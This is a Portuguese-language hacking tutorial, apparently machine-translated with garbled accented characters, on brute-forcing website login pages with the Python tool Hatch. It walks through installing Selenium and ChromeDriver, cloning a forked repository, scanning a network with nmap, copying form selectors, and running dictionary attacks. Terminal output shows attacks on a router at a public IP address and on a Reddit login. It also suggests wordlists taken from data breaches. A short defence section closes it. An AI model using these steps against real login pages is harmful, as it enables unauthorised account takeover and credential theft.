A tática de forçar um login de força bruta, ou seja, tentar várias senhas muito rapidamente até que a correta seja descoberta, pode ser fácil para serviços como SSH ou Telnet. Para algo como a página de login de um site, devemos primeiro identificar os diferentes elementos da página. Graças a uma ferramenta Python para sites de força bruta chamada Hatch, esse processo foi simplificado a ponto de até um iniciante poder experimentá-lo.
Como funcionam os ataques de força bruta
Ataques de força bruta aproveitam a automação para tentar muito mais senhas do que um ser humano poderia, invadindo um sistema por tentativa e erro. Ataques de força bruta mais direcionados usam uma lista de senhas comuns para acelerar isso, chamada de ataques de dicionário, e usar essa técnica para verificar se há senhas fracas costuma ser o primeiro ataque que um hacker tenta contra um sistema.
Em um ataque de força bruta contra um serviço como o SSH, isso pode ser feito facilmente a partir da linha de comando por ferramentas como o Sshtrix . Em uma única linha em um terminal, é fácil lançar um ataque de dicionário contra um servidor SSH descoberto usando a lista de senhas embutida, tornando os serviços com senhas incorretas extremamente prováveis de serem violados.
A maior desvantagem de um ataque de dicionário é que, se a senha não existir na lista de senhas , o ataque falhará. Se a senha usada em um alvo for forte , os ataques de força bruta podem rapidamente se tornar muito caros em termos de tempo e recursos para serem usados, pois começaremos a ter que tentar todas as combinações possÃveis de caracteres. Outra desvantagem é que muitos serviços agora fazem algum tipo de limitação de taxa, que detecta muitas tentativas de login com falha e bloqueia outras tentativas por um perÃodo, o que pode retardar substancialmente um ataque de força bruta.
Por que os ataques de força bruta são mais difÃceis em sites
Embora seja fácil atacar um serviço que usa nome de usuário e senha na linha de comando, há muito mais coisas acontecendo no código de um site. Para projetar esse ataque, precisamos pensar sobre o que o script precisa saber para fazer seu trabalho.
Queremos que o script encontre a senha correta associada a uma conta especÃfica inserindo uma suposição nos campos da página de login e enviando-a até obter um resultado bem-sucedido. Para fazer isso, devemos interagir com a interface gráfica do usuário da página de login para inserir as informações nos campos corretos de ambos os campos de login e senha.
Depois de fazer isso, precisamos enviar o palpite clicando no botão "Login" na página. Finalmente, precisamos do script para saber a diferença entre uma falha e um sucesso, para que possamos interromper o script e identificar a suposição correta da senha.
Tudo isso é muito mais trabalhoso e bastante confuso para iniciantes, mas depois de fazer isso, a automação de ataques de força bruta contra a página de login da maioria dos sites pode ser feita de forma semelhante à força bruta de um serviço SSH.
Escotilha para logins de força bruta da Web
Python é uma linguagem ideal para automatizar esses tipos de ataques, e Hatch usa Python2 para automatizar o navegador Chrome para preparar um ataque de dicionário contra o login de qualquer página da web com um fórum de login visÃvel. Embora alguns sites com fóruns de login ocultos que exigem que você role ou clique para mostrar possam confundir o script, a maioria dos sites é fácil de direcionar usando esta ferramenta.
Ao iniciar o Hatch, o script abre uma janela do Chrome para você inspecionar os elementos da página que você está alvejando. Depois de dizer ao script em qual site você deseja usar a força bruta de login, ele verificará se a página existe e está acessÃvel. Se for, Hatch perguntará qual login você deseja usar como força bruta e, em seguida, solicitará uma lista de senhas para tentar durante o ataque.
Depois que o Hatch tiver as informações de que precisa, ele abrirá uma segunda janela do Chrome e começará a automatizar o ataque. Você pode sentar e assistir o ataque se desenrolar na janela do Chrome ou no terminal que está executando o ataque. No terminal, você pode observar cada tentativa de senha à medida que o script avança na lista. Embora esse ataque seja poderoso e útil contra uma ampla gama de alvos, ele também pode ser frustrado pela limitação de taxa e outros métodos de bloqueio de tentativas excessivas de login.
O que você precisará
Embora o Hatch seja multiplataforma, foi um pouco complicado de configurar em alguns sistemas. Acabamos fazendo Hatch funcionar em um sistema Windows com algumas modificações no script, que incluÃmos aqui.
Para seguir este guia, você precisará de um sistema Windows com Chrome e Python 2 instalados. A versão atual e moderna do Python é o Python3, portanto, você precisará ter certeza de que está usando a versão correta ao executar o script. Se você executar o Hatch com Python3, ele não funcionará corretamente.
Você também precisará instalar algumas dependências, incluindo um driver, para poder interagir com o Chrome de maneira programática.
Passo 1Verifique sua versão do Python
Primeiro, precisaremos instalar algumas dependências. Para cuidar disso, pressione a tecla Windows ou clique no menu Iniciar e digite cmd . Depois de abrir um prompt de comando, certifique-se de ter o Python2 instalado corretamente digitando python2 na janela do terminal. Você deve ver um resultado como abaixo.
C:\> python2
λ python2
Python 2.7.13 (vs.7.13:a06454b1afa1, Dec 17 2016, 20:53:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits", or "license" for more information.
>>>
Se não, você pode fazer o download do Python2 . Depois que seu Python2 estiver instalado, digite os seguintes comandos para instalar as dependências.
C:\> pip2 install selenium
C:\> pip2 install requests
Passo 2Instale o driver do Chrome
Em seguida, precisaremos instalar o driver que nos permite controlar o Chrome a partir do programa Python. Para fazer isso, baixaremos um arquivo do site do driver do Chrome e, em seguida, criaremos uma pasta chamada webdrivers em sua unidade C. Mova o arquivo baixado para esta pasta. Embora você possa colocá-lo em outro diretório, você precisa modificar o código Python.
etapa 3Baixe o Hatch e instale
Para instalar o Hatch, você pode mudar o diretório em seu drive C antes de cloná-lo para ter certeza de que pode encontrá-lo, ou mudar para outro local que possa encontrar. Digite cd .. para ir para a unidade C do seu computador, se é onde você deseja. Você pode então baixar uma versão bifurcada do Hatch na página do GitHub abrindo uma janela de terminal e digitando o seguinte.
C:\> git clone https://github.com/nsgodshall/Hatch.git
Esta versão bifurcada foi modificada para funcionar no Windows. Assim que terminar o download, você pode digitar cd Hatch para mudar os diretórios para a pasta de download.
C:\> cd Hatch
Passo 4Execute o Hatch e selecione o login do seu roteador
Agora que temos o Hatch em nosso sistema e todas as dependências instaladas, é hora de executar o Hatch e ver como ele funciona. Primeiro, vamos examinar o arquivo de ajuda executando o seguinte dentro da pasta Hatch.
C:\> python2 main.py -h
Você deve ver uma saÃda como abaixo.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
Usage: main.py [options]
Options:
-h, --help show this help message and exit
-u USERNAME, --username=USERNAME Choose the username
--usernamesel+USERNAMESEL Choose the username selector
--passsel=PASSSEL Choose the password selector
--loginsel=LOGINSEL Choose the login button selector
--passlist+PASSLIST Enter the password list directory
--website=WEBSITE choose a website
Podemos ver as principais opções para Hatch aqui. Para começar, vamos escolher um alvo em nossa rede local para atacar.
Um bom dispositivo em sua rede local para testar isso seria algo como um roteador, uma impressora ou algum outro dispositivo com uma página de login na rede. Você pode selecionar isto executando um Nmap varredura na rede para encontrar qualquer endereço IP que tenha a porta 80 aberta. Embora a porta 80 seja a página mais comum para acesso à web, você também pode pesquisar as portas 81, 8080, 8081, 443 para localizar as páginas de login de vários dispositivos.
Em seguida, precisaremos encontrar o intervalo de sub-rede para que possamos varrer a rede local. Para descobrir isso, você pode usar o ipcalc para calcular o intervalo da sua sub-rede depois de encontrar o endereço IP local do seu computador. Se o seu computador, por exemplo, tiver um endereço IP de 192.168.0.3, você pode executar ipcalc 192.168.0.3 para obter o intervalo de IP para todos os endereços IP possÃveis nessa rede. Nesse caso, seria 192.168.0.0/24.
Depois de saber o intervalo, execute a seguinte varredura de Nmap em sua rede, com a parte iprange alterada para adicionar o intervalo de IP de sua rede.
C:\> sudo nmap -p 80,8080,81,8081,443 iprange
Quando essa varredura retornar, qualquer serviço que lista a porta como "aberta" deve estar hospedando um site. Navegue até uma impressora ou roteador ao qual você tem permissão para fazer login inserindo o endereço IP seguido por dois pontos e o número da porta que descobrimos no Nmap. Você deverá ver uma página de login como esta:
Etapa 5Identifique os Elementos de Login
Agora, podemos executar o Hatch, mas ainda precisaremos de mais algumas informações para realizar este ataque. Execute o Hatch digitando o seguinte comando, após navegar até a pasta na qual salvou o programa anteriormente.
C:\> python2 main.py
Uma janela do Google Chrome deve ser aberta, permitindo-nos navegar até um site que desejamos atacar e começar a identificar as partes do site que desejamos manipular.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
Insira o URL da página de login do site de destino no primeiro prompt do Hatch. Ele verificará se o site existe e pode ser acessado. Em seguida, precisaremos identificar os elementos de login e senha do site que estamos atacando.
Em nossa página de login de destino, clique com o botão direito do mouse no elemento "Nome de usuário" e clique em "Inspecionar".
Em seguida, clique nas reticências (•••) à esquerda da janela e um menu suspenso aparecerá. Clique em "Copiar" e em "Copiar seletor" para copiar o que o Hatch precisará selecionar e interagir com este elemento. Deve ser algo como "#nomedeusuario".
Insira o seletor de nome de usuário no Hatch e repita o processo com o seletor "Senha".
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector:
Finalmente, clique com o botão direito do mouse no botão "Login" para obter as informações do seletor e adicione-as ao Hatch também.
Agora que temos os elementos selecionados, definiremos o nome de usuário que estamos tentando usar como força bruta. Nesse caso, digitaremos apenas admin . A etapa final será selecionar a lista padrão que vem com o Hatch. Por padrão, é "passlist.txt", então usaremos essa lista em nosso primeiro ataque.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
Esta lista de senhas não é muito grande, mas contém muitas senhas comuns. Pressione Return e Hatch abrirá uma nova janela para começar a força bruta da senha com o ataque de dicionário. Você pode observar o progresso na janela do terminal ou observando a janela do Chrome que a Hatch está automatizando.
C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d
DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
------------------------
Tried password: 123456
for user: admin
------------------------
------------------------
Tried password: password
for user: admin
------------------------
------------------------
Tried password: qwerty
for user: admin
------------------------
------------------------
Tried password: Hackthis1
for user: admin
Etapa 6Atualize sua lista de palavras e execute em um site externo
Se você não estiver satisfeito com a lista de palavras incluÃda no Hatch, pode adicioná-la abrindo-a em um editor de texto como o Nano ou adicionando outra lista de palavras de qualquer repositório de listas de palavras , como aquelas que vazaram de violações de dados . Depois de baixar uma lista de palavras de sua escolha, você pode adicioná-la à pasta "Hatch" e selecioná-la em vez da lista padrão.
Assim que tiver uma lista de senhas que o agrade, vamos prosseguir e testá-la em um site padrão. Crie uma conta descartável no Reddit.com ou em outro site e lembre-se do nome de login. Defina a senha da conta para uma que esteja em uma das listas de palavras.
Depois que a conta fictÃcia for configurada, execute novamente o Hatch e digite reddit.com/login (ou a página de login do site que você escolheu). Em seguida, cole os seletores no seletor de login, senha e botão. Finalmente, insira o nome de usuário de destino e selecione a lista de senhas contendo as credenciais corretas. Pressione Return e o script deve abrir uma janela do Chrome e começar a automatizar o ataque.
Assim que o script detectar um login bem-sucedido, ele gerará a senha que foi bem-sucedida. Enquanto o script original tendia a pular isso e gerar a senha errada no Windows, meu amigo Nick modificou o código para evitar que isso acontecesse em sua versão bifurcada. Se você perceber alguma estranheza com a versão bifurcada, você sempre pode tentar a versão original do Hatch .
⠀⠀_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
[-]--> V.1.0
[-]--> coded by Metachar
[-]--> brute-force tool
[~] Enter a website: http://www.reddit.com/login
[!] Checking if site exists [~] Enter the username selector: #loginUsername
[~] Enter the password selector: #loginPassword
[~] Enter the Login button selector: body > div > div > div.PageColumn.PageColumn__right > div > form > fieldset:nth-child(10) > button
[~] Enter the username to brute-force: hackthisaccountNB
[~] Enter a directory to a password list: passlist.txt
DevTools listerning on ws://127.0.0.1:11301/devtools/browser/6fd2f19e-9fef-4921-863f-d3316ec3b808
DevTools listerning on ws://127.0.0.1:11318/devtools/browser/f8d672c9-8e46-477c-a93d-baf0ea6b50e1
------------------------
Tried password: 123456
for user: hackthisaccountNB
------------------------
------------------------
Tried password: password
for user: hackthisaccountNB
------------------------
------------------------
Tried password: qwerty
for user: hackthisaccountNB
------------------------
AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS!
LAST PASS ATTEMPT BELOW
Password has been found: qwerty
Have fun :)
Como se defender contra força bruta
Os sites têm a melhor capacidade de se defender contra esses ataques, garantindo a implementação de proteções de força bruta de senso comum para dicionário e outros tipos de ataques. Um usuário normal deveria tentar fazer login com a senha errada de um endereço IP estranho 100 vezes? A resposta provavelmente é não. Tenha muito cuidado com sites que não tomam esse tipo de precaução, pois eles serão extremamente vulneráveis à perda de informações de sua conta.
Do lado do usuário, escolher senhas fortes e aleatórias e armazená-las em um gerenciador de senhas pode ajudar a garantir que sua senha nunca acabe em uma lista de senhas. Em geral, usar a autenticação de dois fatores sempre que possÃvel é sua melhor defesa contra esses tipos de táticas, pois você será alertado sobre a tentativa de login. Para contas importantes, você deve sempre ter a autenticação de dois fatores ativada.
0 Comentários